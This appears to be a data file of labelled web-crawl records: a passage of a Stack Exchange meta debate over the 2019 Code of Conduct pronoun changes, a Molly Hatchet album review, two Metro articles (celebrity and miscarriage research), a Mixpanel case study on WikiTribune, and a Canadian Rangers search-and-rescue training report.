metaphor) calling the Boston Tea Party "just a tea party". – heather Oct 13 '19 at 20:03 If it weren't so much of an issue, they wouldn't have needed to fire Monica Cellio over it. It's kind of connected. And the overall context, all the actions together, amount to multiples of thousands of downvotes over the course of say the last year. It seems at least for the moment like the tea chinaware has been broken and no teatime together is possible anymore. – Trilarion Oct 14 '19 at 9:02 @Trilarion IMHO we should discuss CoC updates on their own merits and not on any mismanagement on SE's side considering discussion between a moderator and SE before those updates. – gerrit Oct 14 '19 at 10:13 @gerrit Yes, I understand your argument and I agree but I find it very hard to actually implement. I would reject the CoC changes even on its own merit but I find it very hard to ignore the offset of say -100 I have towards the company for all the other actions. You are right, but I still can judge them only cumulatively. I'm sorry. – Trilarion Oct 14 '19 at 10:31 @Trilarion Somehow it reminds me of how a referendum on topic X is used by the general population to express their dissatisfaction with the government overall. Perhaps Stack Exchange would do good in holding three sets of anonymised surveys (one for everyone, one for moderators, one for staff) with a wide selection of questions related to satisfaction. – gerrit Oct 14 '19 at 12:24 If you want people to calm down, it isn't a good strategy to frame their issue as making a big deal about something minor. If it was minor to them, there wouldn't be a storm. Characterizing it as something minor destroys your credibility as someone who understands the issue and has an opinion worth listening to. Just an observation about process and tactics. – fixer1234 Oct 27 '19 at 19:28 Most of the reasons why people won't calm down are: Some people think that SE seems to not care anymore about the community. As if we are an obsolete product that they need to get rid of or as if our whole role now is to just click the ads that they push to us. Many people see SE as an entity that keeps telling lies to the users. Many people think that SE are simply ignoring any input or feedback from people on meta. This would mean that the meta simply would lose most of its purpose of even existing. Many people think that the new CoC is a minefield. There are a lot of gray areas and uncertainties. People are afraid. Nobody would like to get suspended or banned in a witch-hunt just for asking for some clarification, for committing some silly mistake or even for not saying something. People tend to value free speech more than self-determination. Even because there can't be true self-determination if there is no free speech. However, the new CoC seems to compel people to tell things even if they don't believe in it, so there is no free speech anymore. Of course that free speech is not an excuse to be rude or to say horrible things, but it is definitely subverted if people are forced to voice something even if they really don't believe nor agree on it. No honest person likes to be forced to tell a lie. Most people think that the way that SE fired Monica was definitely unethical and unfair at best. And most users don't think that SE sincerely care anything about that. Some people think that SE presents its community as a place full of bigots and fascists that should be expelled and purified by force. Definitely, that is not how the community is. Some people argue that the new CoC is a hell for moderators and a heaven for trolls. It opens the doors for trolls use gender and LGBTQI+ self-identity stuff to induce other people to do things that they otherwise would not do or else force them get into trouble. There are hundreds of questions in meta about the CoC, but it is very rare to see any feedback from SE staff or CMs other than deleting stuff and suspending people. It is very hard to build trust in that way and this tends to just produces even more frustration, fear, anger and mistrust. For years, people were complaining about SE's lack of transparency. Most people thought that this was due to laziness, negligence or lack of organization. Now, many people are thinking that they are consciously choosing to not be transparent and that they are hiding something really nasty. Many people wonder why SE is in such a hurry to put on that new CoC with so little input from the community. Normally, they are very slow into implementing new stuff. Why is this so urgent? Moderators are people that work hard to SE for free and without them everything would fail. So, people expect that at least, SE treats moderators in a friendly way. However, many people see that SE is acting in a very hostile manner to at least part of their moderators. Some comments and answers have been deleted on some places. If that was limited to rude, offensive and trolling stuff, there would be no problem. But at least in a few cases, it was not limited to that. Some dissenting honest and reasonable answers and comments (at least in my opinion) were simply silently deleted. Almost nobody likes censorship (which should not be confused with removing nasty stuff) and that further erodes free speak. Some people think that this is either a smokescreen that SE made up to pretend that they actually care about LGBTQI+ people or that perhaps they really care, but in an insane and unrealistic manner. Either way, they actually hurt those people and thrown them against the rest of the community for no good reason. ColleenV parted ways Victor StafusaVictor Stafusa even for not saying something is my reason. I don't understand why keeping quiet can be banned. – scaaahu Oct 13 '19 at 9:34 My upvote is especially for Nos. 7, 8, 10, and 12. I'm willing to let bygones be bygones, but not if SE continues to stonewall on these matters. – J.R. means 'Just Reinstate' Oct 14 '19 at 12:12 "Many people wonder why SE is so rushed" - yeah, they did not even wait for UI support for pronouns. – Piro says Reinstate Monica Oct 21 '19 at 17:48 99% of posts being completely unaffected This network lost a huge chunk of good and very active moderators, who have either resigned or ceased activity. The Workplace went without any moderators at all. To say that this does not affect the network is a stretch. Monica was fired over the suspicion that she may commit a "thought-crime" in the future. That means the same can happen to anyone else. A precedent has been set, and just because that precedent hasn't been acted upon on a wide scale yet, does not mean that "nothing changed". einpoklum Hugo ZinkHugo Zink Those moderators did not resign in response to the CoC update, but in response to SE mishandling of the discussion between a moderator and SE before those updates took force. – gerrit Oct 14 '19 at 10:13 @gerrit Which in turn was caused directly by the CoC update (which had not even happened yet). Besides, a portion of the mods have indeed cited the new CoC changes as their primary reason, including Nathaniel and Awesome Poodles. – Hugo Zink Oct 14 '19 at 10:36 An apology was issued. It flopped. A (hypothetical) alternate apology was drafted; it received resounding support. An "official" FAQ was issued. It flopped. An alternate FAQ was drafted; it received strong support. However, these alternate versions were drafted by rank-and-file members, not community moderators. As such, they remain unadopted wishful dreams. I believe this whole "tempest in a teapot" could die down in an instant with two simple steps: Admit that Monica's firing was a bad move, and reinstate her moderator status. (If SE still feels like she is still not qualified to moderate, fine – just proceed with the already-established process.) Concede that the so-called Official FAQ on gender pronouns and Code of Conduct changes is still a work in progress, and announce that they will continue to release future versions until they come up with something that receives much broader support. I have seen a few comments here and there, claiming that SE appreciates our feedback, and that getting this right is "super important". Thus far, however, I've seen little evidence that these are anything more than empty assurances. As the days turn into weeks, I've seen no indication that SE is planning to implement any meaningful changes: they are neither willing to budge on Monica's unjust firing nor interested in softening the language of the "official" FAQ. Perhaps I'm wrong; maybe they are working overtime to fix this mess in a way that will show they indeed value the feedback we have given. If so, I'll be more than willing to let it go and move back into my quiet little corners of the Stack Exchange. As I wait for that day to arrive, though, all I sense is obstinance, so I'll continue working on the draft of my resignation letter. J.R. means 'Just Reinstate'J.R. means 'Just Reinstate' I agree that there is a problem with communication and actions from Stack Exchange, but I have the impression that people are using the CoC update post to express their disagreement with SE overall moreso than with the small wording update of the CoC (although both exist). A bit how a popular referendum is sometimes used by the electorate to express disagreement with the government overall rather than answering the actual question asked. – gerrit Oct 14 '19 at 12:42 @gerrit - You're welcome to look through all of my comments & answers thus far in this ongoing debate. I have tried to be level-headed, expressing my concerns, but not using this as an excuse to vent about perceived past grievances. In fact, I have been a staunch supporter of the SE model for several years, and rarely got involved in any kind of political stance here until this current fiasco. – J.R. means 'Just Reinstate' Oct 14 '19 at 12:46 @gerrit As I see it, this issue is 90+% not about the CoCs, which (if anyone trusted SE to enforce them fairly and accountably), are clunky but really not all that bad. It's about SE staff ignoring the users and abusing their powers to squash discussion and criticism. Rushing out these CoCs in the middle of all this (instead of pausing until trust was regained) appears to be a breathtakingly cynical attempt by SE to throw the LGBT+ community to the wolves as a "divide and distract" technique. – user56reinstatemonica8 Oct 14 '19 at 13:35 @user568458 I agree — yet it's the post announcing the CoC update that is getting a record number of downvotes. – gerrit Oct 14 '19 at 13:53 @gerrit Not quite: it's still +600 ahead of the now-infamous "sorry-not-sorry" for sacking Monica: meta.stackexchange.com/questions?tab=votes&page=1816 – user56reinstatemonica8 Oct 14 '19 at 13:57 @gerrit - Had that post merely announced a CoC update, I don't think it would have been heavily downvoted. I think the accompanying FAQ (and the dictatorial, unapologetic tone of it) is what's attracting a good portion of those downvotes. – J.R. means 'Just Reinstate' Oct 14 '19 at 14:01 The upvotes on the alternate apology are in decline btw. – dfhwze Oct 15 '19 at 18:43 @dfhwze - Are you referring to David Fullerton's Apology 2.0? I was referring to George Stocker's "Here's what I was hoping for", left as an answer under Apology 1.0. It currently sits at +1123/-21. – J.R. means 'Just Reinstate' Oct 15 '19 at 19:00 Yep I referred to the former. – dfhwze Oct 15 '19 at 19:10 @dfhwze - Well, then, thanks for giving me the chance to clarify. I've already made my opinions on that other apology known in this comment, under a response that has now garnered close to 500 upvotes. – J.R. means 'Just Reinstate' Oct 15 '19 at 19:18 The root of the problem is not a few mis-steps. It's in the very heart of the CoC; it's in the norms/culture of SE Inc. or at least some of it; and it's possibly also in the business directions of SE Inc, – einpoklum Nov 4 '19 at 10:02 despite 99% of posts being completely unaffected You could argue that 99% of people were totally unaffected using normal English language pronouns before the CoC change. The point of this discussion, either way, is not the 99%. nvoigtnvoigt I suspect that one of the reasons this question has been downvoted is the attitude that appears to belittle the concerns raised in the recent FAQ. ("Storm in a teacup" implies overreaction, i.e., that those who are legitimately upset about the FAQ are going overboard.) I would strongly recommend that the question be reworded to avoid belittling those with concerns. I am someone who has been active on SE for many years (and has contributed many, many hours of my time), but I knew nothing about this situation until I clicked on a link to the new FAQ when it came out and was profoundly disturbed. I knew nothing of Monica at the time, but the more I read, the more disturbing things became. I joined the Meta community for the first time because I wanted to give feedback on this issue. To be clear, I am a very strong advocate in real life for acceptance of everyone. I never knowingly or deliberately refer to people by pronouns they do not prefer. However, there are still serious concerns raised by the FAQ's wording, as well as the fact that (if Monica's and other mods' account are to be believed) merely asking questions and trying to obtain some clarification about it resulted in the summary dismissal of a moderator. There have been some recent edits to the FAQ question that appear to clarify some items based on what staff has said in comments, but the general attitude seems to be to push through a set of guidelines will little community input on the details. I am heartened by some of the clarifications that have been made in recent hours, but many of the fundamental wording problems remain. I suspect that they remain partly because to remove or reword those statements in the FAQ would undermine SE's position in firing Monica. The trans community has been treated poorly in the past by some people on SE. It is therefore incumbent on the management of SE to get things right in setting appropriate guidelines on inclusive language and pronoun use. Instead, they have created a debacle that has alienated many users and inflamed tensions that likely have made SE a less welcoming space for trans folks and others in the short run. This is NOT a small matter. It most certainly is NOT a "storm in a teacup," and I think many people who have these concerns could be insulted by such a characterization. The fact that we still have a few dozen moderators who have resigned and/or are taking actions like temporarily reducing activity is also not a small matter. I have no doubt that some mods have reasons beyond the release of the FAQ for their actions, but that doesn't mean that the continued existence of poor wording in the FAQ is irrelevant or merely a minor concern. I myself have refrained from downvoting the FAQ, hoping that the community's concerns will be appropriately addressed and the problematic language changed. I grow less hopeful about that with each passing day, and if things have not changed by the end of the week, I shall have to seriously consider leaving SE. We (at least non-moderators) are not privy to all the facts. But what I do know is that a moderator of this site claims to have been apparently fired and defamed in the press for merely questioning some of the wording in the FAQ. How am I to know that I, as a user of SE, will not be similarly defamed if I unintentionally run afoul of the new guidelines? I tend to avoid all pronoun use in responding to most questions, simply because I realized years ago that it's impossible to tell gender for most users here, and I prefer to reword things just to use "OP" or the name of the user. I don't have objection to singular "they," but at times it can create confusion about a singular vs. plural grammatical structure, where again I would tend to reword a sentence simply to avoid pronouns. So far, some of the mods in the threads on the FAQ have implied that such behavior is not against the CoC, but I need to hear that from SE, very clearly. I need to see that the FAQ is reworded to avoid clauses that could lead to my defamation in the press and revocation of privileges simply for behaving in a manner that Monica claims she was asking about. There have been some users that have suggested that Monica's account is incomplete or has some misunderstandings; I need SE to address that publicly and release details if they want to justify what may in fact be libel again a moderator. I also need to have confidence that SE is serious about dealing with discrimination and addressing issues in a way that doesn't actually inflame tensions and then ignores them hoping they will just go away. Without such actions and explanations, as I said, I will seriously need to reevaluate my continued presence on this site. AthanasiusAthanasius So, since it doesn't affect me I shouldn't care? I remember a short poem about that, I would include it in the answer but apparently it's too offensive. If it is coerced speech, then the storm is not big enough. To defend the concept of coerced speech (not limited, that's different) is incredibly intolerant and totalitarian, and they are doing so while preaching inclusiveness, tolerance and respect. Maybe you don't care because as long as you agree with them, it won't affect you. But as soon as you dissent from their opinion you will find out how important this issue is. Luis Reinstate MonicaLuis Reinstate Monica No society in the world is without coerced speech. – gerrit Nov 5 '19 at 10:08 @gerrit how is every society coercing speech? – Luis Reinstate Monica Nov 5 '19 at 10:23 For example, many languages have polite and informal ways of addressing; society coerces us to use the polite address to people we don't know. We are coerced to greet each other or risk being ostracised as impolite. In some cultures we are expected to address (young) women in a particular way. The list goes on. – gerrit Nov 5 '19 at 11:39 @gerrit society coerces us to use the polite address to people we don't know I choose to be polite because I don't want to be rude. But I am absolutely free to use informal language. The fact that my choices have consequences do not equate to being forced to choose one particular option. – Luis Reinstate Monica Nov 5 '19 at 12:00 If we're going to be philosophical, you have free will and are free to violate either the social norms of society (and face the consequences, which depend on the society, but can quite reasonably include losing your job) as well as the code of conduct on Stack Exchange (and face the consequences, which include removal from the platform). Fundamentally there is no difference, except that coercion in society is not limited to speech but also to dress codes and other aspects of our behaviour that are not applicable on an online/virtual platform. – gerrit Nov 5 '19 at 12:40 @gerrit Social norms are not enforced, every action has consequences but that does not mean you are being forced to do anything. Nobody is threatening you with punishment. Coerced speech means somebody is forcing you to say something you don't want, punishing you if you don't comply. I fail to see how these situations are even comparable – Luis Reinstate Monica Nov 5 '19 at 15:38 @gerrit It demonstrates how thoroughly you don’t understand why people are upset if you think something like saying “please” to be polite is coerced speech. I don’t have to say please. I could say “would you be so kind”. I’m fairly certain I could never say “please” again and not be ostracized from society. That’s not coerced speech. A example of coerced speech is a rule that you must use “please” in every request directed at me if I tell you to and if you refuse to do that or avoid making requests so you don’t have to, you will face escalating punishment until you comply. – ColleenV parted ways Nov 5 '19 at 17:00 @LuisReinstateMonica You are also not forced to participate in Stack Exchange. You are not forced to be employed as a Walmart Greeter, but if you are I'm quite sure your employer will coerce you to particular speech. You're not forced to work as a police officer, but I'm quite sure police officers are coerced to tell suspects certain things, probably including a specific formulation. – gerrit Nov 5 '19 at 17:07 @ColleenV I conjecture that far more people are reasonably upset about the dismissal of Monica Cellio and subsequent public comments Stack Overflow Inc. has made (which is a reasonable thing to be upset about), than about the "coerced speech" in the code of conduct (which is a silly thing to be upset about). The point of my meta "question" here was that we should treat the Code of Conduct update on its merits (good update!) and not on the separate mishandling that Stack Overflow Inc. has engaged in (which remains unresolved). – gerrit Nov 5 '19 at 17:12 @ColleenV I’m fairly certain I could never say “please” again and not be ostracized from society. — ostracised perhaps not, but some people may not like you and some clubs may not welcome you if you decide to be rude on purpose. – gerrit Nov 5 '19 at 17:14 @gerrit That’s fine. Why are you arguing that all polite speech is coerced speech then? And, I didn’t say I would be impolite. I said I would avoid using “please”... – ColleenV parted ways Nov 5 '19 at 17:14 @gerrit Thank you for reaffirming my point, which was that you don’t understand what people mean when they are talking about coerced speech in this context. – ColleenV parted ways Nov 5 '19 at 17:25 @gerrit Exactly, being a member is voluntary, speech is (now) forced. Of course it is just within the community, what does that change?. Should I do the same if I disagree with the government? Why protest? Nobody is forcing you to live here. People have invested time and effort in this community. A community they joined before speech was coerced, they accepted different rules and most importantly goals, they have now changed the goals and rules and people are forced to choose between abandoning the community or obeying rules they disagree with. – Luis Reinstate Monica Nov 6 '19 at 9:28 @gerrit an explicit clarification of older implicit rules on friendliness and politeness. This is false, pronouns were not policed. It is a new rule, because it was not enforced before. Nobody was banned before for their religious or moral beliefs. Besides, how can you say it is a storm in a teacup and then say that people that disagree should just leave? – Luis Reinstate Monica Nov 6 '19 at 10:14 @gerrit Referring to a transgender woman as he is not the only thing that the new CoC prohibits, avoiding using pronouns because you don't believe in transgender identities but you don't want to offend anyone is no longer an option. – Luis Reinstate Monica Nov 6 '19 at 10:54 Not the answer you're looking for? Browse other questions tagged discussion code-of-conduct . How to disentangle the CoC discussion from the Monica issue? Why are the Code of Conduct changes received so negatively, and what can / could have been done to change that? Firing Community Managers: Stack Exchange is not interested in cooperating with the community, is it? Handling Calls to Remove a Moderator An apology to our community, and next steps How many more casualties in the war on pronouns? Bye Stack Exchange, I'm done. Coerced speech is incompatible with freedom If someone is hurt by a literary reference, should it be removed? Proposed new code of conduct for all Stack Exchange sites We need “assume good intent” back in the Code of Conduct SE Inc. Director of Public Q&A retweets bad-faith, misrepresentative tweet Why haven't the statements to the Register been retracted? Does the community consider the “coerced speech” complaint largely resolved?	cc/2020-05/en_middle_0032.json.gz/line7958
__label__wiki	0.586319	0.586319	Metal Odyssey > Heavy Metal Music Blog Welcome to Metal Odyssey, it will be quite the Metal trip! « Duff McKagan’s Loaded is loaded with Punk & Hard Rock The greatest Heavy Metal album of all time is… » Molly Hatchet debut album from 1978 – Rocks heavy to this day In 1978, Molly Hatchet, the Southern Rock legends to be, released their debut album “Molly Hatchet” – this album still rocks today. I was just embarking on my teen years back in 1978, Kiss, Foreigner, The Electric Light Orchestra and Cheap Trick were my four main bands that I listened to constantly. (I was not into the real heavy music until I entered high school, heck, I was still green and learning fast about the huge world of Rock music). One band, however, that turned my head and gave me instant goose bumps as soon as I heard their tunes was Molly Hatchet. Man, I was amazed at the sound of this band. I was going on fourteen when I first heard the guitar jamming, the muscular feel and Southern Rock energy coming from Molly Hatchet. The vocals of Danny Joe Brown sounded so bad ass to me, (they still do), I thought I was bad ass when I spoke of Molly Hatchet to my grammar school buddies. The rebellious sound, vocals, lyrics and super cool album cover won me over in 1978 and has never waned for three decades. I never forget or stop listening to those bands that got me into music as a kid, these bands including Molly Hatchet I am forever grateful for. “The Creeper” in and of itself is good enough reason to chase this album/CD down. The seven minute and brilliant “Dreams I’ll Never See” for me, makes for one of the greatest cruisin’ tunes I have ever heard. “Bounty Hunter” and “Gator Country” just kick start this album into a Hard Southern Rockin’ rebellious ride that I enjoy taking. I realize a couple of posts ago was about Molly Hatchet as well, I am stoked recently over this band forgive me please. This debut album from Molly Hatchet blows away thousands of other debut albums that are out there – how often I find myself not buying a bands first album due to it’s blandness. Hey, this is my Metal opinion. Sure, the debut from Molly Hatchet is “old school” – only remember that this is an album that helped pave the way for Southern Hard Rock to flourish and receive it’s due respect and credibility. I hope my posts on Molly Hatchet can lure new fans to this legendary band and to the genre of Southern Rock. Veteran fans of Molly Hatchet and Southern Hard Rock already know what I am talking about. Here is the original lineup of Molly Hatchet, as they appeared on their debut album “Molly Hatchet” – Danny Joe Brown – lead vocalist, Duane Roland – lead guitar, Dave Hlubek – lead guitar, Steve Holland – lead guitar, Banner Thomas – bass guitar and Bruce Crump – drums. This entry was posted on May 8, 2009 at 2:34 pm and is filed under 1970's hard rock, 1970's Rock, 1980's hard rock, 1980's southern hard rock, 1980's southern rock, Album Review, classic rock, classic southern rock, cool album covers, Hard Rock, hard rock album review, hard rock guitarists, hard rock songs, Music, rock music, rock music vocals, southern hard rock, southern hard rock albums, southern rock, southern rock albums with tags 1970's rock music, 1970's southern hard rock, 1970's southern rock, 1980's southern hard rock, 1980's southern rock, Album Review, banner thomas bass guitarist molly hatchet, bruce crump drummer molly hatchet, classic rock, classic southern rock, danny joe brown vocalist molly hatchet, dave hlubek guitarist molly hatchet, duane roland guitarist molly hatchet, Hard Rock, hard rock music, molly hatchet, molly hatchet 1978, molly hatchet debut album, molly hatchet southern rock band, Music, Reviews, southern hard rock, southern rock, steve holland guitarist molly hatchet. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site. One Response to “Molly Hatchet debut album from 1978 – Rocks heavy to this day” Curt King Says: While growing up, I always thought they (along with IRON MAIDEN) had the best album covers ever! I dig that phantasy stuff…	cc/2020-05/en_middle_0032.json.gz/line7959
__label__wiki	0.692428	0.692428	Damian Hurley and Boris Becker’s daughter are one stylish duo as they party in Munich Alicia AdejobiThursday 5 Dec 2019 2:16 pm Damian and Anna were so in sync (Picture: Splash News) Damian Hurley and Boris Becker’s daughter found their glass slippers and headed to a fancy ball in Munich, Germany last night and, there’s no doubt, they must have been two of the most stylish people in the room. Anna Ermakova, daughter of former tennis star Boris, had the company of Liz Hurley’s son Damian at the Mon Cheri Barbara Tag ball, which took place at the Isarpost in Wednesday evening. The models were clearly loving each other’s company as they chatted, laughed and pouted their way through the evening. Emma, 19, switched up her hairdo for the event wearing a ginger wig in long loose waves over her typically tight curls. The model dazzled in a velvet lingerie-style dress which she teamed with a purple sequin jacket. She was ‘unexpectedly’ in sync with Damian, 17, who also rocked a black sequin blazer over a plain shirt and black jeans. He was giving Emma a run for her money in the hair stakes thanks to his luscious long mane. Despite their visible ease in each other’s company, it was actually the first time Damian and Emma had met as she captioned a photo of them from the ball on Instagram: ‘Absolute pleasure meeting you.’ The pair enjoyed a good ol’ natter at the swanky bash (Picture: Splash News) You’d never be able to tell they’d only just met (Picture: Splash News) The model earlier said: ‘When you match jackets unexpectedly #sparkles.’ But being the spawn of two famous stars, it’s no surprise they had a lot in common. Damian is fast becoming a star in his own right as last month, he was named the sexiest celebrity offspring by People magazine as part of their sexiest man alive issue. He had fended off competition from Dennis Quaid and Meg Ryan’s son Jack, and Daniel Day Lewis’ son Gabriel Kane. Since signing with Tess Management, Damian has been killing the fashion game, which has included starring in a modelling campaign for make-up artist Pat McGrath. Damian has a close relationship with his mother Liz – he probably wouldn’t have recreated her iconic Versace safety pin dress otherwise. Pout and pose (Picture: Getty Images) Matchy, matchy (Picture: Getty Images) Opening up about their bond, Liz told You magazine: ‘You know, if he does a complete U-turn and wants to pursue a career in… [gulps with horror] banking, then of course as his mother, I will fully support him. ‘Our downtime together is usually spent watching something scary on Netflix or Vikings on Amazon Prime. Because he’s away all week and has to make his own bed and tidy his room, I’m probably overindulgent when he’s around to make up for it. ‘Given I’m a single mother and he’s an only child, by default we spend a lot of time together and we are utterly comfortable in each other’s company.’ Meanwhile, Boris once admitted to having somewhat of a strained relationship with Anna, who was conceived during a one-night stand with her mother Angela, breaking up his marriage to Barbara Feltus. In his 2015 autobiography, Boris explained: ‘I was embarrassed and very sad about how it happened, and about the way it broke up my family. It left Anna’s mother and me having to set about being parents without any relationship of our own to fall back on. More: Liz Hurley Elizabeth Hurley proves she's still a fountain of youth as she parties on Boxing Day Liz Hurley and her son Damian are two peas in a pod as they share Christmas snap Liz Hurley claims she and the Queen share the same stalker ‘I’m now at a place with her and her mother that’s very comfortable, peaceful and family-like. He added: ‘I don’t see Anna as much as I’d like, but her mother and I are working on becoming a normal separated family, which hasn’t been easy considering our starting point.’ MORE: Damian Hurley is the spitting image of mum Liz Hurley in shirtless snaps and we are shook MORE: Damian Hurley continues to be the spitting image of him mum Liz in glam holiday snap Boris BeckerLiz Hurley	cc/2020-05/en_middle_0032.json.gz/line7960
__label__wiki	0.544928	0.544928	Having a miscarriage ‘may trigger post-traumatic stress’ Natalie MorrisWednesday 15 Jan 2020 1:37 pm After nine months, 18% of women had post-traumatic stress (Picture: Ella Byworth for Metro.co.uk) Miscarriages are incredibly common and can be deeply upsetting for everyone involved – but a new study has found that it can even trigger PTSD. In fact, around 18% of women experience post-traumatic stress after a miscarriage or ectopic pregnancy, according to the new research. In the study – that looked at the psychological impact of early-stage pregnancy loss – researchers evaluated 653 women who had been through this kind of loss. Most of the women had suffered an early miscarriage – defined as a pregnancy loss before 12 weeks, or an ectopic pregnancy. The study, published in the journal American Journal of Obstetrics and Gynaecology, found that 29% suffered post-traumatic stress one month after the loss. Almost a quarter (24%) experienced moderate to severe anxiety, and one in nine (11%) had moderate to severe depression. After nine months, 18% of women had post-traumatic stress, 17% had moderate to severe anxiety, and 6% had moderate to severe depression. The women in the study were asked to complete questionnaires about their emotions and behaviour one month after pregnancy loss, then again three and nine months later. Their responses were then compared to 171 women who had healthy pregnancies. The results showed that the psychological symptoms of women with healthy pregnancies were significantly lower than in women who had suffered early pregnancy loss. Those with post-traumatic stress said they regularly re-experienced the feelings associated with the pregnancy loss, and intrusive or unwanted thoughts about their miscarriage. Some also reported nightmares and flashbacks. ‘This research suggests the loss of a longed-for child can leave a lasting legacy, and result in a woman still suffering post-traumatic stress nearly a year after her pregnancy loss,’ says Professor Tom Bourne, lead author of the research. More: Health Woman sells nude pictures to fund treatment for Lyme disease You Don't Look Sick: 'I was told I was imagining my symptoms for three years' Iranian refugee given £90 to find skill opens Olympic-level weightlifting club ‘The treatment women receive following early pregnancy loss must change to reflect its psychological impact, and recent efforts to encourage people to talk more openly about this very common issue are a step in the right direction.’ Scientists at Imperial College London and KU Leuven in Belgium say it is the largest ever study to look at the psychological impact. Pregnancy loss will effect one in two women, and one in four pregnancies ends in miscarriage. Estimates suggest there are 250,000 miscarriages every year in the UK, and around 11,000 emergency admissions for ectopic pregnancies – which always result in pregnancy loss. The authors do warn that formal diagnosis of post-traumatic stress disorder would require a clinical interview, rather than just a questionnaire. They add that women who were already experiencing symptoms of post-traumatic stress and depression may have been more likely to respond to the questionnaire. MORE: ‘I’m proud to show my tampon string in the This Girl Can advert – it shouldn’t be a taboo’ MORE: Mum in hysterics over five-year-old son’s rude drawing of vegetables MORE: Cat with Ehlers-Danlos syndrome finds loving home with researcher who has the same condition The daily lifestyle email from Metro.co.uk. FertilityHealth If we don’t start looking after our doctors there will be no one to care for our patients Woman sells nude pictures to fund treatment for Lyme disease to ‘get her life back’ You Don’t Look Sick: ‘I was told I was imagining my symptoms for three years’ Cat-loving great-great-granddad with dementia gets robot pet to calm him in his final days Home › Lifestyle › Health Groupon discount codes Find offers on goods and local deals H&M Deals Latest fashion discount codes from H&M First Choice Deals Go on a new adventure with First Choice's discounts boohoo Deals Explore the latest fashion styles with exclusive discount codes Expedia Discounts Flights and Hotel offers and deals when you book in advance	cc/2020-05/en_middle_0032.json.gz/line7961
__label__wiki	0.733634	0.733634	Online publication site, WikiTribune, uses Mixpanel to get valuable insights and analytics to help inform the best website experience for users—ultimately helping to increase its publication rate by 85%. 85% increase in articles published Data-informed website redesign Testing and iterating creative News sites need to have a product revolution. We really need to rethink from the ground-up exactly what it is these sites are doing. User analytics can help us. Jimmy Wales, Founder of Wikipedia and Founder CEO of WikiTribune Jimmy Wales founded Wikipedia back in 2001 with the mission to spread the sum of human knowledge worldwide. Inspired by all the discussions around fake news, Jimmy decided to kick off a new project, WikiTribune, following the 2016 elections. The startup allows people to crowdsource the news with the same neutrality principle that helped Wikipedia become the source of truth it is today. Like Wikipedia, WikiTribune will not take profits from advertisers to escape the need for clickbait headlines and fluffy content. Instead, WikiTribune cultivates a community of volunteer journalists who share the facts in a supportive and collaborative environment. Realizing the benefits of user analytics, Product and Marketing at WikiTribune started using Mixpanel from the very start. As Jimmy put it, “the media industry is just beginning to scratch the surface when it comes to the potential of analytics. Most news sites are still in the same format we’ve had for 20 years now. We’ve taken the newspaper and put it online, adding a few features like commenting, but we haven’t really taken advantage.” With the power of tools like Mixpanel, Jimmy hopes the space will see as fundamental a shift as the shift from Britannica to Wikipedia. He also hopes to increase contributors who build content and promote readership of fact-based, unbiased editorials. Scaling the community with a site redesign When WikiTribune’s original website launched, the team saw that visitors were having a difficult time discovering that they could participate as volunteer journalists. To make the site more community-centric, the team launched a complete revamp. By bringing forward the features that inspired participation, WikiTribune better promoted an environment of collaboration and fact sharing. Deciding what content to build While traditional media outlets leverage Mixpanel to determine what content to build based on user behavior and engagement patterns, WikiTribune is putting that power in the hands of its community of volunteer journalists. This was slow moving at first, but by experimenting with page layouts and processes, the team at WikiTribune was able to launch a process that helps volunteers to build an average of 11 articles per week. Experimenting to drive readership Marketing and Product test and measure all major changes to WikiTribune’s website and emails. For instance, while the team thought images might help drive readership, they found that the opposite was true. As Jimmy says, Mixpanel helps his team “fail faster, and run many small experiments to find out the potential impact of larger changes.” After making their site as collaborative as possible, and increasing the number of articles published by 85%, WikiTribune is looking forward to focusing its product roadmap around making content consumable and discoverable for the average reader. The team will leverage the insights they collected from Mixpanel during their website redesign to help fuel whatever new direction the site takes. SIGN UP FOR MIXPANEL	cc/2020-05/en_middle_0032.json.gz/line7963
__label__cc	0.571403	0.428597	The Maple Leaf – Canadian Army Canadian Rangers complete challenging OPP search and rescue course Master Corporal Pamela Chookomoolin and Corporal Ralph Begg walk across fallen trees during a training search. *** La caporal-chef Pamela Chookomoolin et le caporal Ralph Begg enjambent des arbres au sol au cours d’un exercice de recherche. Tags: Rangers \| Featured \| Regional Round Up \| Training By Peter Moon A group of Canadian Rangers representing five First Nations from the Far North of Ontario have completed a challenging search and rescue course led by Ontario Provincial Police (OPP). The two-week course is the same SAR training that members of OPP’s elite emergency response teams are required to complete as part of their specialist training. “This is very demanding training with long days that challenges them both mentally and physically,” said WO Daniel Stortz, a Canadian Army instructor. “We conduct searches on behalf of the OPP in Northern Ontario. With Rangers completing this training the OPP know the Rangers have completed the same training as the OPP’s ERT members have and will operate in the same way.” The Northern Ontario-based Rangers, who are part-time army reservists, have a unique relationship with the OPP. They are the only Rangers in Canada who receive police training in SAR and have a formal agreement to do search and rescue on behalf of the police force. The OPP are the lead agency for SAR in Ontario, a role assumed by the Quebec provincial police in Quebec and the RCMP throughout the remaining provinces and territories. “Assembling a trained OPP SAR team and flying into a remote First Nation may take up to eight hours or longer, depending on the weather,” expressed Sgt John Meaker, the OPP’s provincial SAR coordinator. “By then, the Rangers have usually found the missing person or persons.” There are more than 600 Rangers in 27 remote and isolated First Nations in the Far North of Ontario. Since 2015, the Rangers have rescued more than 100 people. The training was a combination of in-class and outdoor training at CFB Borden. The outdoor training took place in a variety of environments and conditions, throughout the day and night. The course concluded with two exercises on the base’s Pine River and in Mono Cliffs Provincial Park, throughout which the challenge included navigating in open spaces, through a swamp, undercover of the woods, and safely climbing steep cliffs. “I’m glad I came for this, I’ve learned a lot,” said MCpl Pamela Chookomoolin from Peawanuck, a small Cree community near the Hudson Bay coast. “A lot of our people go on the land and their snow machines break down, or there’s a blizzard and they are overdue, or there’s an emergency of some kind and we have go out and look for them. I’ve done searches myself.” She said she will be the third Ranger in her local patrol to complete the OPP training. Navigation is emphasized throughout the course, developing skills such as the ability to correctly read a map and compass and properly using a GPS device. “We have to be really precise when we plot (map) bearings,” she said. “Before I would just a make a big circle.” MCpl Chookomoolin has done searches where the Ranger search party had to communicate with military aircraft. The OPP training will allow her to give more precise information about locations to the pilots. “They have a quiet strength in them,” Sgt Meaker said. “You can really see that they have a sense of community and want the best for everyone in their communities and they are willing to sacrifice their time and energy to do that.” Not only was Sgt Meaker impressed by the Rangers desire to help the members of their communities when they go missing but additionally their abilities on land. “They are good on the land,” he added. “I would say they are gifted that way. They are very relaxed and at ease in the woods.” (Sgt Peter Moon is the public affairs ranger for the 3rd Canadian Ranger Patrol Group at Canadian Forces Base Borden.) Combat CameraNational DefenceSubmission GuidelinesVideo GalleryWrite to the 